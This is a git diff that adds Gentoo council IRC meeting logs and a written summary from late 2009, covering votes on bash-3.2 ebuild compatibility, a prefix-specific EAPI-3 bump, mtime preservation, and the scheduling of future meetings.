+22:29:35 <Betelgeuse>	Calchan: The only way of getting there without this that I know of is glep 55...
+22:30:03 <ulm>	Calchan: hm, 3.2_p39 > 3.2
+22:30:12 <ulm>	give me a proper version spec ;)
+22:30:12 <leio>	or the many counter proposals of glep 55, but lets not go there
+22:30:16 <Calchan>	Betelgeuse, agreed, but I still have a problem with people not respecting rules
+22:31:31 <Betelgeuse>	Calchan: Nothing in our docs really teaches what's 3.2
+22:31:31 <lu_zero>	Calchan rules must be clear
+22:31:41 <Betelgeuse>	Calchan: We don't teach new recruits either
+22:31:41 <Betelgeuse>	Calchan: I will add a new question based on these votes
+22:32:30 <DrEeevil>	Calchan: if there is no enforcement (even after repeatedly pointing out the issue) then there's no motivation to respect the rules
+22:32:30 <Betelgeuse>	ulm: Ebuilds must be parseable with =bash-3.2*
+22:32:43 <ulm>	Betelgeuse: perfect :)
+22:33:24 <leio>	global scope or all of it?
+22:33:34 <ulm>	all of it
+22:33:37 <Betelgeuse>	leio: all of it
+22:33:37 <DrEeevil>	all of it
+22:33:38 <leio>	(global scope DEPEND could >bash-4)
+22:33:48 <leio>	ok, just to be clear :)
+22:33:50 <ulm>	so please vote on: "Ebuilds must be completely parseable with =bash-3.2*, any use of later bash features will be reverted."
+22:33:58 <Betelgeuse>	yes
+22:34:01 <ulm>	yes
+22:34:05 <dertobi123>	yes
+22:34:18 <DrEeevil>	yes
+22:34:23 <leio>	yes
+22:34:25 <lu_zero>	yes
+22:34:49 <ulm>	Calchan?
+22:34:58 <tanderson>	DrEeevil: rules don't get removed simply because noone obeys them
+22:35:15 <DrEeevil>	tanderson: that's how democracy usually works
+22:35:29 <Calchan>	DrEeevil, no that's anarchy
+22:35:36 <Calchan>	ulm, sorry I lost internet for a while
+22:35:54 <Betelgeuse>	DrEeevil: In democracy you take the changes to the people in charge who change the rules
+22:35:55 <Calchan>	I'm ok with the wording although I voted against that
+22:36:08 <DrEeevil>	civil disobedience
+22:36:12 <lu_zero>	well
+22:36:14 <ulm>	o.k, so 6 yes, 1 no
+22:36:17 <DrEeevil>	the rosa parks kind of thing
+22:36:26 <Betelgeuse>	DrEeevil: is not needed if the system works
+22:36:27 <lu_zero>	people in charge listen to the other people usually
+22:36:42 <leio>	Someone please find out at some point what developer helping features bash-4 would provide to see if we should start thinking of ways how to allow it properly without breaking anything (yes, I realize this will involve glep55 or alternatives, it's for prioritizing work on such a solution or not)
+22:36:49 <tanderson>	DrEeevil: and you don't see civil disobedience before going to authority do you?
+22:37:06 <DrEeevil>	tanderson: you try to ignore the discussions on the mailinglist about a year ago
+22:37:08 <Betelgeuse>	Calchan: You had a timebox?
+22:37:08 <Calchan>	you guys can finish this discussion next time you meet at the pub
+22:37:18 <lu_zero>	now...
+22:37:20 <Betelgeuse>	Any way we are pass 90 mins
+22:37:23 <DrEeevil>	tanderson: it was discussed and ignored
+22:37:23 <ulm>	we're over time
+22:37:25 <Calchan>	Betelgeuse, no, just crappy internet at work
+22:37:38 <ulm>	can we still discuss topic 6?
+22:37:49 <ulm>	or should we postpone it?
+22:38:06 <Betelgeuse>	We can but I will need to go visit neighbourghs shortly
+22:38:17 <Betelgeuse>	I will be back in 10 mins
+22:38:28 <dertobi123>	postpone.
+22:38:31 <lu_zero>	I'd rather postpone
+22:39:13 <Calchan>	can we make sure we keep the discussion on this alive so that next time all we need to do is vote?
+22:39:19 <ulm>	Calchan: sure
+22:39:35 <Calchan>	we should do that more in general by the way
+22:39:45 <ulm>	so let's postpone topic 6 "Preservation of file modification times in EAPI 3 "
+22:39:52 <Calchan>	council metings are not a good time for technical discussions
+22:39:56 <ulm>	right
+22:40:13 <ulm>	any other business?
+22:40:24 <leio>	When is the next meeting
+22:40:26 <dertobi123>	next meeting. when? who's taking care of the agenda?
+22:40:27 <ulm>	who will take chair for the next meeting?
+22:40:39 <Calchan>	I can if nobody wants
+22:40:55 <dertobi123>	what about december 7th? that's in 4 weeks
+22:41:17 <ulm>	general question is if we shall keep the 4 weeks interval
+22:41:32 <ulm>	we originally said third monday in month
+22:41:48 <Calchan>	we may need to start thinking of christmas time, not everybody may be available 4 weeks after dec 7
+22:42:09 <leio>	that is 4th January
+22:42:22 <dertobi123>	we can do december 7th and something mid-january
+22:42:36 <Calchan>	leio, which proves again that I can't count to 4... ;)
+22:43:16 <ulm>	so let's note december 7th 19 UTC, calchan prepares agenda and takes the chair
+22:43:23 <Calchan>	jan 4th is ok with me although I'll just be flying back from japan after 2 weeks without internet
+22:43:35 <Calchan>	ulm, ok
+22:43:59 <ulm>	leio: you followup on the upgrade path thingy?
+22:43:59 <lu_zero>	Calchan you'll be in tokyo?
+22:44:12 <leio>	ulm: yes
+22:44:14 <Calchan>	lu_zero, 1h north of tokyo
+22:44:21 <ulm>	so, open floor
+22:44:23 ---	ulm sets mode -m #gentoo-council
+22:44:55 <lu_zero>	Calchan make sure if you could attend the tlug event if you hadn't already ^^;
+22:45:15 ---	ulm removes voice from DrEeevil grobian
+22:45:26 <Calchan>	lu_zero, when/where? not sure I can make it though
+22:46:11 <leio>	fyi, reavertm said bash-4 would mostly provide associative arrays (array indexes with strings instead of just numeric indeces), which is probably not very important to have for ebuild/eclasses
+22:46:18 <leio>	ulm: you get to kick me if I don't do so ;)
+22:46:42 <ulm>	leio: will do
+22:46:54 <ciaranm>	bash 4 has a tr replacement builtin, which is handy. but since it's only handy for global scope things...
+22:47:59 <ulm>	one more thing, can somebody get the automatic council reminders going again?
+22:48:23 <ulm>	there used to be a ml posting (by vapier I think) two weeks in advance
+22:48:25 <leio>	maybe someone could contact vapier and ask to tweak the cron script
+22:48:38 <leio>	it's still happening, just with wrong dates at wrong times
+22:50:05 <Betelgeuse>	hard to cron when the dates are not solid
+22:50:23 <Betelgeuse>	the one who does the agenda should schedule reminders and send them
+22:50:35 <ulm>	or that
+22:50:43 <ulm>	but I forgot last time
+22:51:09 <Betelgeuse>	Calchan: please add a note to your calendar
+22:51:27 <ulm>	anyway, seems there are no pressing topics for open floor
+22:51:39 <ulm>	so let's call it end of meeting
+22:51:46 <ulm>	thanks everybody
+22:52:03 <Calchan>	Betelgeuse, thanks ;o)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091207-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20091207-summary.txt
new file mode 100644
index 00000000..fd87258e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091207-summary.txt
@@ -0,0 +1,80 @@
+Summary of meeting of December 7th, 2009
+
+Attendance
+==========
+Present:
+ Betelgeuse
+ Calchan
+ dertobi123
+ leio
+ solar
+ ulm
+
+Missing:
+ lu_zero
+
+
+Agenda
+======
+EAPI-3 status
+Prefix support
+mtime preservation
+
+
+ACTIONS
+========
+* Discuss voting by e-mail post-meeting in case of absence
+* ulm to talk with Zac Medico about defining current portage mtime
+  preservation behaviour for documenting in EAPI-3
+* dertobi123 to check what day of the week is best for council members
+  nowadays and what week to hold the next meeting, possibly rescheduling
+  the next meetings date
+* lu_zero missed the meeting while having a slacker mark, figuring out
+  what happens next (via e-mails) is necessary before the 18th December,
+  2009.
+
+
+EAPI-3 status
+=============
+The ETA of EAPI-3[1] is roughly 3 months. The currently implemented
+EAPI-3 items have no significant benefits to warrant a new EAPI with
+only the items that are already implemented.
+Because prefix support will be EAPI-3 (see below), the EAPI items
+referenced here will be referred to as EAPI-4 in the future.
+
+[1]: http://bugs.gentoo.org/show_bug.cgi?id=273620
+
+
+Prefix support
+==============
+The council accepts (4x yes, 2x abstain) the technical proposition
+about Prefix support made to it by now, in the form of a PMS patch[2],
+answers by the Prefix team members to the discussion thread[3] and the
+portage branch[4] implementing this.
+
+The council majority voted for a quick prefix-specific EAPI bump,
+from here-on known as EAPI-3. The previously intended collection
+of EAPI changes for a EAPI-3 will likely be referenced from now on
+as EAPI-4 instead.
+
+[2]: http://archives.gentoo.org/gentoo-dev/msg_62b5df924d6e9e74c94149e7e7f17d23.xml
+[3]: http://archives.gentoo.org/gentoo-dev/msg_2a62689c71f95e4de5699a330b8b5524.xml
+[4]: http://sources.gentoo.org/viewcvs.py/portage/main/branches/prefix/
+
+
+mtime preservation
+==================
+The council majority voted to document precisely the current behavior
+of portage and what can be relied upon as part of the upcoming EAPI-3
+(prefix support EAPI), so that since EAPI-3 the current portage
+behaviour can be relied upon from all compliant package managers.
+The exact behaviour needs to still get documented, however.
+
+
+Next meeting
+============
+The date for the January meeting is still to be decided. Mondays are
+now incompatible with solar's schedule. Calchan has volunteered to
+follow-up discussions before the meeting and write the agenda if the
+date was pushed back a week at least. Betelgeuse will not be available
+during week 2 (Jan 10-16).
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091207.txt b/xml/htdocs/proj/en/council/meeting-logs/20091207.txt
new file mode 100644
index 00000000..934b2e50
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091207.txt
@@ -0,0 +1,483 @@
+21:00:09 <leio>	Mon Dec  7 19:00:03 UTC 2009
+21:00:10 <Betelgeuse>	Calchan: ping?
+21:00:13 *	robbat2|na is here is for any questions/issues with his gleps
+21:00:32 <Calchan>	Betelgeuse, pong
+21:01:02 <Betelgeuse>	Calchan: your show
+21:01:12 <Calchan>	robbat2|na, great, sorry for the screwup, I do too many things at the same and didn't see you were requesting that for january only
+21:01:21 <Calchan>	Betelgeuse, yes I was on -dev with grobian
+21:01:29 <Calchan>	so who's here?
+21:01:36 <leio>	I'm here, but see my e-mail
+21:01:40 <robbat2|na>	i only said january as IIRC they had to be posted a month in advanced
+21:01:42 <Betelgeuse>	Calchan: can you please add a link to the agenda to topic
+21:02:20 -->	NeddySeagoon (n=NeddySea@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+21:02:23 ---	Calchan has changed the topic to: http://archives.gentoo.org/gentoo-council/msg_55e2123621095cba53e2fe4d700bfb76.xml
+21:02:29 <Betelgeuse>	thx
+21:02:54 <Calchan>	Betelgeuse, note that there's a couple changes in the htread
+21:03:04 <Betelgeuse>	Calchan: yes I read the thread
+21:03:07 <Calchan>	solar said he would very probably not be here
+21:03:16 <Calchan>	and we have his votes by email
+21:03:22 <Betelgeuse>	Calchan: but best to ahve something for the audience
+21:03:22 <Calchan>	in case we want to use them
+21:03:57 <Betelgeuse>	Calchan: He preferred post votes so he can see leading discussion and I think we should do that
+21:03:58 *	dertobi123 yawns
+21:04:14 <Calchan>	Betelgeuse, let's vote
+21:04:18 <Calchan>	later
+21:04:35 <Calchan>	ulm, lu_zero ping
+21:04:40 <ulm>	here
+21:04:46 <Calchan>	ok
+21:05:25 <Calchan>	so we seem to have: Betelgeuse, leio, ulm, dertobi123 and Calchan
+21:05:47 <Calchan>	you guys want to wait for lu_zero a bit more or assume he won't be showing up?
+21:06:16 <Betelgeuse>	Calchan: The agenda had 5 minutes so go with that
+21:06:29 <Calchan>	ok, who's logging?
+21:06:31 <leio>	I am
+21:06:32 <Betelgeuse>	There's no votes due before point 3 any way
+21:06:35 <Betelgeuse>	Calchan: I do
+21:06:42 *	ulm does too
+21:06:43 <Calchan>	and who wants to chair?
+21:07:02 <Calchan>	as I wrote I can do it if you prefer
+21:07:22 <Betelgeuse>	Calchan: You did a good job with the agenda so if you don't mind
+21:07:28 <Calchan>	ok
+21:07:31 <Calchan>	and thanks
+21:07:42 <Calchan>	1.4 remarks on the agenda
+21:07:58 <Calchan>	let's move the many GLEPs discussion to open floor, do you agree?
+21:08:05 <Betelgeuse>	fine
+21:08:06 <leio>	yes
+21:08:09 <ulm>	i've already sent remarks in my e-mail reply
+21:08:29 <Calchan>	dertobi123?
+21:08:30 <solar>	my work meeting got cancled. So looks like I can be here.
+21:08:36 <Calchan>	solar, yay
+21:08:40 <dertobi123>	Calchan?
+21:09:02 <Calchan>	dertobi123, are you ok with moving the glep discussion to open florr and not voting for this meeting?
+21:09:07 <dertobi123>	sure
+21:09:11 <Calchan>	solar, too?
+21:09:20 <dertobi123>	guess that was already decided on list
+21:09:25 <Calchan>	ok then
+21:09:40 <Calchan>	do we skip the vote by email discussion as solar is here?
+21:09:43 <solar>	I have no objections to glep-58 moving fwd as it causes no impact to anybody
+21:09:44 <Calchan>	I'd say yes
+21:10:01 <Betelgeuse>	yes better suited for discussion by email for example
+21:10:43 ---	Calchan gives voice to zmedico
+21:11:02 <Calchan>	ok, let's switch to 2 EAPI3 status
+21:11:16 <Calchan>	zmedico, you said ETA in roughly 3 months
+21:11:36 <Calchan>	in your mail, could you elaborate or was it a very rough guess?
+21:12:45 <Calchan>	while we're waiting for zac, what do you guys think of doing an EAPI bump with what's already done?
+21:12:50 <dertobi123>	tbh lets remove those eapi-3 status updates from this and the upcoming agendas. it's done when it's done. it doesn't help nor speeds up the process to discuss this again and again
+21:12:54 -->	Zorry (n=zorry@fu/coder/zorry) has joined #gentoo-council
+21:13:09 <Betelgeuse>	Calchan: It only makes sense if there's something valuable already done.
+21:13:23 <Betelgeuse>	Calchan: No reason for having a new one if devs have no need for it.
+21:13:25 <ulm>	Calchan: I don't see any use for that, maybe except for prefix
+21:13:32 <Calchan>	dertobi123, I was actually going to ask zmedico how we could help him and his team
+21:13:41 <Betelgeuse>	Calchan: vim *.py
+21:13:52 <Betelgeuse>	s/vim/${EDITOR/
+21:14:51 <Calchan>	so the general opinion is that there's nothing worth yet to justify a pre-3 EAPI bump?
+21:15:44 <Calchan>	anybody?
+21:15:56 <Betelgeuse>	the things done are mainly removing deprecated stuff and cleanups
+21:16:15 <ulm>	new (and old) devs have to learn additional stuff for every additional EAPI
+21:16:27 <dertobi123>	i don't think it's helpful to split up eapi-3 now
+21:16:28 <ulm>	so we should keep their number limited
+21:16:32 <Betelgeuse>	Calchan: None of the main EAPI 3 features are done.
+21:16:36 <dertobi123>	ulm: agreed
+21:17:00 <Calchan>	ok, then if nobody has anything to add let's leave it a tthis and switch to prefix
+21:17:12 <Calchan>	and we're almost on time
+21:17:25 <solar>	what advantage is it to make others wait on feautres when they are ready?
+21:17:52 <Betelgeuse>	solar: There's nothing in the tracker that would make a big difference for devs
+21:18:37 ---	Calchan gives voice to grobian
+21:18:50 <Calchan>	solar, ok to switch to 3. prefix?
+21:19:29 <Calchan>	looks like it
+21:19:52 <Calchan>	so, have you guys reviewed the material posted by the prefix team in response to our requests?
+21:20:12 <Calchan>	I mean the answers to our questions, the PMS patch and the portage stuff
+21:20:12 <ulm>	yes, and looks good to me
+21:20:47 <Betelgeuse>	Calchan: I havent' seen a pms patch going through gentoo-pms at least
+21:20:54 <Calchan>	it looks good to me too, although I can't comment much on portage code (i.e. it went over my head)
+21:21:14 <ulm>	Betelgeuse: http://archives.gentoo.org/gentoo-dev/msg_62b5df924d6e9e74c94149e7e7f17d23.xml
+21:21:19 <Calchan>	Betelgeuse, good point, but you have seen the one posted to the list, right?
+21:21:32 <Calchan>	s/the list/the -dev list/
+21:22:22 <Calchan>	my only comment is that it refers to the prefix stuff as coming with EAPI3 and that would have to be fixed if we vote to make a quick EAPI bump before
+21:22:38 <Betelgeuse>	Calchan: yes there was one there
+21:22:38 <Calchan>	and I was satisfied with the answers
+21:24:06 <Calchan>	obviously there's some polishing required with all this, but we can vote now on whether we want prefix in the tree as it's been presented to us
+21:24:14 <Calchan>	I vote yes
+21:24:33 <ulm>	I vote yes
+21:24:38 <dertobi123>	yes too
+21:25:02 <solar>	yes
+21:25:11 <Calchan>	Betelgeuse?
+21:25:27 <Calchan>	leio?
+21:25:53 <Betelgeuse>	Calchan: yes having prefix support eventually in the main three is worthwhile
+21:25:57 <leio>	I abstain from voting, as I have not been able to review yet what has been presented to us. But in what way would this "wanting prefix in the tree" be as?
+21:26:19 <leio>	We already voted on the previous meeting on the general desire to see prefix in the main gentoo-x86 portage tree
+21:26:45 <Calchan>	leio, the question today is do we accept the technical proposition that is made to us today?
+21:26:52 <Calchan>	leio, but you can abstain
+21:26:56 <Calchan>	this is ok
+21:27:01 <leio>	thanks for clarification, good for summary
+21:27:07 <Calchan>	Betelgeuse, do we have a yea from you?
+21:28:24 <Calchan>	right now we have 4 yes, 1 abstention, and one that I think is a yes but would like confirmation ( Betelgeuse)
+21:28:28 <Betelgeuse>	Calchan: I will abstain from voting on the PMS patch itself as I haven't read/seen any follow up with pms committers
+21:28:50 <Calchan>	Betelgeuse, ok, how do we count you though?
+21:29:00 <Calchan>	for summary purposes only
+21:29:08 <Calchan>	because we already have a majority
+21:29:31 <Betelgeuse>	Calchan: If you clarify the vote as being about the patch: abstain
+21:29:36 <Betelgeuse>	We already voted on intentions
+21:30:08 <leio>	I'm unclear on what is that technical proposition that is made to us today - is it the PMS patch at http://archives.gentoo.org/gentoo-dev/msg_62b5df924d6e9e74c94149e7e7f17d23.xml ?
+21:30:14 <Calchan>	Betelgeuse, ok, although we have the PMS patch and lots of answers we didn't have previously
+21:30:34 <Calchan>	leio, PMS patch, all the answers in the thread, the portage branch
+21:30:57 <leio>	That's quite far reaching and hard or vague to summarize, but OK...
+21:31:17 <Calchan>	ok, then we have 4 yes and 2 abstentions
+21:31:34 <Calchan>	prefix can proceed to the tree
+21:31:47 <Calchan>	3.2 EAPI bump for prefix
+21:31:56 <Calchan>	we have the following choices:
+21:32:02 <Calchan>	3.2.1. Should we make a quick, prefix-specific EAPI bump?
+21:32:10 <Calchan>	3.2.2. Should we wrap together prefix plus whatever features of EAPI3 which are already ready into an intermediate EAPI and ship that now?
+21:32:14 <Calchan>	3.2.3. Should we add prefix to EAPI3 and ship it all together when what's missing of EAPI3 is ready?
+21:32:33 <Calchan>	does anybody need clarifications on the above propositions?
+21:32:39 <Calchan>	we can discuss a bit and then vote
+21:32:45 <Betelgeuse>	I don't think 3.2.2. makes sense. It's easier to have an EAPI that only prefix devs need to care about or then having altogether useful EAPI 3.
+21:32:54 <Calchan>	Betelgeuse, agredd
+21:33:20 <ulm>	so 3.2.1 means we rename EAPI 3 to EAPI 4? and EAPI 3 would be the prefix one?
+21:33:35 <Betelgeuse>	ulm: We don't have to name EAPI N
+21:33:38 <Calchan>	ulm, I think the naming is just a cosmetic issue
+21:33:43 <Betelgeuse>	ulm: It can be 2+prefix for example
+21:33:47 <Calchan>	we can decide that later
+21:33:49 <Betelgeuse>	to make it clear
+21:34:07 <ulm>	Betelgeuse: true, but integers make a nice scheme ;)
+21:34:32 <ulm>	nicer than 2+prefix or 2/prefix or whatever
+21:34:53 <Calchan>	ulm, we could go 2.1 for example
+21:35:02 <leio>	Increasing integer strings seem easier to remember by developers (2+prefix would work now, but confusion starts with EAPI-3 then existing - does it include prefix support or not, etc)
+21:35:24 <leio>	but naming is naming, which option is the first question I suppose
+21:35:35 <solar>	problem with that is there are places in the tree that use EAPI as an int.
+21:35:47 <Calchan>	guys let's vote on the "what kind of bump first" we'll decide on the naming later, OK?
+21:35:51 <Betelgeuse>	solar: those are QA violations
+21:35:53 <ulm>	solar: is that so? eclasses?
+21:36:04 <ulm>	Calchan: o.k.
+21:36:21 <solar>	ulm: I think some eclass and everywhere that checks for EAPI's <= 2
+21:36:30 <Calchan>	I vote for 3.2.1, aka let's make a quick bump now
+21:36:50 <ulm>	3.2.1 from me, too
+21:36:53 <solar>	3.2.1 Yes as EAPI=3
+21:37:07 <Betelgeuse>	Calchan: Do you know the latest opinion from grobian on this one?
+21:37:21 <Calchan>	Betelgeuse, last time I heard he didn't care much
+21:37:27 <dertobi123>	3.2.1 or 3.2.3 for me, both work for me
+21:37:28 <Calchan>	grobian?
+21:37:35 <grobian>	well
+21:37:50 <grobian>	as I said, there is an option 3.2.4
+21:38:04 <Calchan>	dertobi123, you sound like my wife... ;o) pick just one... anyone
+21:38:32 <grobian>	while 3.2.1 would be very very very cool, there is a little problem wrt to implementation, since Prefix Portage is autotool based, and normal Portage is not
+21:38:41 <dertobi123>	Calchan: it's not to choose anyone ...
+21:39:14 <Calchan>	grobian, I'm not sure what difference you make between what you propose and 3.2.1 but go ahead and explain us
+21:39:17 <leio>	3.2.1 or 3.2.2 from me (it's not a yes/no vote, I can't just pick one)
+21:39:21 <grobian>	hence 3.2.4: make a quick bump on EAPI that is upwards compatible with Prefix, and then get the full implementation sorted out lateron
+21:39:58 <Calchan>	grobian, full implementation of what? prefix?
+21:40:04 <Calchan>	if so what could change?
+21:40:19 <grobian>	Calchan: if you guys go for 3.2.1 I need to work with zmedico for some time to get prefix branch merged with trunk, delaying EAPI3
+21:40:46 <grobian>	in principle the prefix branch is ready and waiting
+21:40:56 <Calchan>	grobian, then why the possible delay?
+21:41:28 <ulm>	grobian: any numbers? is it a matter of hours? days?
+21:41:28 <grobian>	Calchan: because Prefix branch is based on trunk, not on the 2.1 branches, and uses a different build system
+21:42:07 <grobian>	ulm: I think it is a bad idea to blindly rely on my python coding skills for ~arch of Gentoo Linux
+21:42:16 <grobian>	simply like that
+21:42:26 <grobian>	so zmedico needs to review
+21:42:59 <grobian>	therefore we would like to have the specification available in the next EAPI
+21:43:21 <grobian>	so we can use Prefix next to normal Gentoo
+21:43:28 <Calchan>	grobian, not a show stopper to me, get your thing in a working state and with the proper build system quick enough that it doesn't delay EAPI3
+21:43:44 <Betelgeuse>	Well not delay by months
+21:43:52 <Betelgeuse>	a month no-one notices
+21:44:05 <grobian>	Calchan: if that's what you want, I can try and put the maximum efforts in it to get that done
+21:44:08 <Calchan>	grobian, then we'll take bets on who's ready first, if I lose you get whipped ;o)
+21:44:26 <grobian>	Calchan: it'll be a joint with zmedico
+21:44:35 <grobian>	so I'll always win
+21:44:44 <grobian>	because the code is already there
+21:45:09 <Calchan>	nobody cares what I think, let's vote though
+21:45:29 <ulm>	Calchan: see above
+21:45:30 <grobian>	I'd be delighted with 3.2.1
+21:45:30 <Calchan>	could you guys please say again which one(s) you'd vote for even if there's more than one?
+21:45:36 <ulm>	3.2.1
+21:45:49 <solar>	<solar> 3.2.1 Yes as EAPI=3
+21:45:53 <Calchan>	under the assumption that the prefix team is going to be fast enough with the implementation
+21:45:56 <Calchan>	solar, thanks
+21:46:00 <Calchan>	and ulm
+21:46:01 <dertobi123>	still 3.2.1 or 3.2.3 for me, both work for me
+21:46:13 <Calchan>	I'm for 3.2.1 and 3.2.2
+21:46:25 <Calchan>	we'll have to do a quick majority vote here, but no big deal
+21:46:36 <Betelgeuse>	3.2.4
+21:46:49 <leio>	3.2.1 or 3.2.2
+21:46:59 <grobian>	3.2.4 conflicts with your earlier decision this evening, by the way
+21:47:33 <ulm>	Calchan: looks like we'll have to do a condorcet vote now ;)
+21:47:51 <Calchan>	ulm, no majority will be enough since it's not a secret vote
+21:48:05 <Calchan>	I'm missing one vote... who?
+21:48:10 <Calchan>	ah leio
+21:48:14 <Calchan>	?
+21:48:25 <leio>	21:46> <leio> 3.2.1 or 3.2.2
+21:48:42 <Calchan>	ok, the results are:
+21:48:55 <Calchan>	3.2.1: 5
+21:49:00 <Calchan>	3.2.2: 2
+21:49:05 <Calchan>	3.2.3: 3
+21:49:13 <Calchan>	sorry
+21:49:18 <Calchan>	3.2.3: 1
+21:49:28 <Calchan>	3.2.4: 1
+21:49:37 <Calchan>	looks like 3.2.1 wins
+21:49:59 <Calchan>	barring any computational error from my pen&paper computer system
+21:50:03 ---	fox2mike_ is now known as fox2mike
+21:50:26 <Calchan>	so now we can discuss how we call it
+21:50:34 ---	fox2mike is now known as Guest9920
+21:50:43 <Calchan>	we already know solar wants to call it EAPI3
+21:50:49 <Calchan>	others?
+21:50:54 <Betelgeuse>	!= 3
+21:50:59 <ulm>	let's call it EAPI 3
+21:51:28 <leio>	EAPI 3
+21:51:33 <dertobi123>	eapi3 works for me, if we rename what was eapi3 to eapi4
+21:51:43 <ulm>	dertobi123: agreed
+21:51:57 <Calchan>	I'd vote for some 2 < number < 3
+21:51:59 <Calchan>	like 2.1
+21:52:37 <ABCD>	FYI, currently Portage itself treats EAPI as an integer (unless I'm mistaken)
+21:52:59 <Calchan>	so we have 4 votes for EAPI3 and 2 against
+21:53:05 <Calchan>	EAPI3 it is then
+21:53:31 *	Calchan slaps ABCD with a PMS printout for speaking without voice :o)
+21:53:35 <Betelgeuse>	ABCD: It should be fixed then
+21:53:56 *	ABCD also notes that this channel isn't +m...
+21:54:08 <Calchan>	ABCD, yes, we suck
+21:54:09 <ulm>	right, it should be fixed, but by calling it 3 we don't risk any breakage
+21:54:32 <Calchan>	any more comments on the prefix topic?
+21:54:38 <leio>	Do we write EAPI-3, EAPI 3 or EAPI3? :)
+21:54:39 <grobian>	ABCD: you're mistaken ;)
+21:54:59 <ulm>	leio: EAPI=3 :p
+21:55:11 <Calchan>	grobian, congrats btw, you just got yourself and your team a shitload of work
+21:55:19 <grobian>	yeah, thanks a lot!
+21:55:41 <dertobi123>	heh
+21:55:51 <Calchan>	if there's no more comments on prefix then we'll move on
+21:56:06 <Calchan>	4. GLEPs 58, 59, 60 and 61 is moved to open floor, so:
+21:56:11 <Calchan>	5. mtime preservation
+21:56:13 <Calchan>	ysy
+21:56:14 <Calchan>	yay
+21:56:50 <Calchan>	does anybody want to discuss anything on this topics before we vote?
+21:56:52 <Betelgeuse>	What's the opinion of pkg maintainers who need mtime preservation?
+21:57:00 <Betelgeuse>	Do we have any around?
+21:57:05 ---	Calchan gives voice to ferringb
+21:57:07 <ulm>	Betelgeuse: me ;)
+21:57:23 <Calchan>	ciaranm isn't here
+21:57:24 <Betelgeuse>	ulm: yay remembered right then but wasn't sure
+21:57:44 <Calchan>	whoever you are, if you want to talk for paludis just ping me
+21:57:52 <ulm>	Betelgeuse: the feature is really needed for several lisp packages
+21:58:03 <Calchan>	although you don't need voice to speak as we're not +m
+21:58:28 <Betelgeuse>	ulm: Yes but what's your preferred way out of 5.n doing in ebuild side?
+21:58:43 <ulm>	Betelgeuse: both 5.1 and 5.3 work
+21:59:17 <Calchan>	ulm, do I understand 5.1 works if it's made equal to 5.3 or works unconditionally?
+21:59:20 <ulm>	5.2 would require that we change at least two eclasses and several (about 50?) ebuilds
+21:59:38 <solar>	5.2 seems like it's written in order to make us reject it
+21:59:39 <ulm>	Calchan: it works unconditionally
+21:59:47 <Calchan>	ulm, ok thanks
+22:00:23 <Calchan>	solar, I find the solution rather elegant even if less practical than the others
+22:00:39 ---	Guest9920 is now known as fox2mike
+22:00:55 <solar>	I find the lack of stripping objects in the name of saving mtime to be stupid
+22:01:18 <Calchan>	do we want to vote now? I rebooted my pen&paper computer system
+22:01:39 <Betelgeuse>	I am off to toilet, I will go with whatever ulm chooses as they are the ones using it
+22:01:47 <ulm>	solar: so mtimes for stripped objects should be preserved too, in your opinion?
+22:02:23 <Calchan>	ulm, I'd say yes if we wanted to make it the right wa, the real question is do we?
+22:02:25 <solar>	ulm: as noted. Being that there is no consensus among PM devs. 5.3 seems ideal for now.
+22:02:33 <leio>	strip from toolchain has a --preserve-dates option btw
+22:02:56 <Calchan>	ok, solar votes 5.3, ulm and Betelgeuse 5.1 or 5.3, others>
+22:03:01 <Calchan>	?
+22:03:13 <ulm>	Calchan: I'd prefer 5.1 but 5.3 works too
+22:03:25 <solar>	ulm: the way 5.2 is written. It favors mtime over stripping. IE skip stripping it sounds like
+22:03:42 <Calchan>	ulm, I can count you as 5.1 if you want, my system has an eraser :o)
+22:03:57 <solar>	and limits it to a given eapi vs being retroactive and a basic feature of the PM
+22:04:53 <Calchan>	ulm? so you want 5.1, or 5.1 and 5.3?
+22:05:13 <Calchan>	and I vote 5.3 btw
+22:05:21 <ulm>	Calchan: 5.1 with fallback to 5.3 ;)
+22:05:34 <dertobi123>	5.3 wfm
+22:05:40 <Calchan>	leio?
+22:06:02 <leio>	abstain
+22:06:07 <Calchan>	ok
+22:06:38 <Calchan>	we have 2 for 5.1 and 5 for 5.3
+22:06:58 <Calchan>	so we'll document protage's behavior and will put that into PMS
+22:07:08 <ulm>	Calchan: count me as 5.1 please
+22:07:16 <Calchan>	ulm, can you take care of that with for example zmedico ?
+22:07:30 <ulm>	*sigh* yes
+22:07:47 <Calchan>	ulm, ah ok, so we have 2 for 5.1 and 3 for 5.3
+22:08:01 <leio>	into PMS as EAPI-0 clarification or?
+22:08:29 <ulm>	leio: EAPI 4, unless we vote otherwise now
+22:08:59 <Calchan>	EAPI3+1 for me
+22:09:06 <Calchan>	=EAPI4
+22:09:16 <Betelgeuse>	3 or 4
+22:09:33 <Calchan>	ah right, sticking that with prefix is a good idea
+22:09:49 <ulm>	good idea
+22:09:56 <leio>	Calchan: can you write out how you counted who as to avoid any misunderstandings?
+22:10:05 <Calchan>	leio, ok
+22:10:20 <Calchan>	Betelgeuse and ulm 5.1
+22:10:32 <Calchan>	dertobi123, solar and Calchan 5.3
+22:10:39 <Calchan>	leio abstention
+22:10:49 <Calchan>	is it ok for everybody?
+22:10:53 <ulm>	yes
+22:10:57 <solar>	I can go either way on 5.x
+22:11:09 <Betelgeuse>	Calchan: then we don't have a decision?
+22:11:24 <Betelgeuse>	Calchan: There's someone missing
+22:11:27 <Calchan>	solar, then make your mind and tell us
+22:11:34 <solar>	Nobody said anything about making it a new EAPI however
+22:12:12 <solar>	portage is not going to limit it's behavior to do this only-if-eapi>=3
+22:12:17 <Calchan>	solar, let's decouple the EAPI issue then
+22:12:24 <solar>	please lets.
+22:12:27 <ulm>	solar: It wouldn't make any practical difference for portage and pkgcore
+22:12:34 <ulm>	since they already comply
+22:12:55 <Calchan>	solar, the point would be to document what can be relied upon starting with EAPI3
+22:12:56 <solar>	ulm: right. But till this meeting nobody said anything about making it an EAPI change.
+22:12:59 <Calchan>	not changing enyhting
+22:14:59 <ulm>	so, have we accepted 5.3 or what?
+22:15:00 <Calchan>	so, anybody who wants to reconsider his vote? solar? then we can discuss the eapi issue
+22:15:13 <leio>	Note that on 12th October meeting we re-opened what was known as EAPI-3 for mtime preservation
+22:15:46 <leio>	(but nvm)
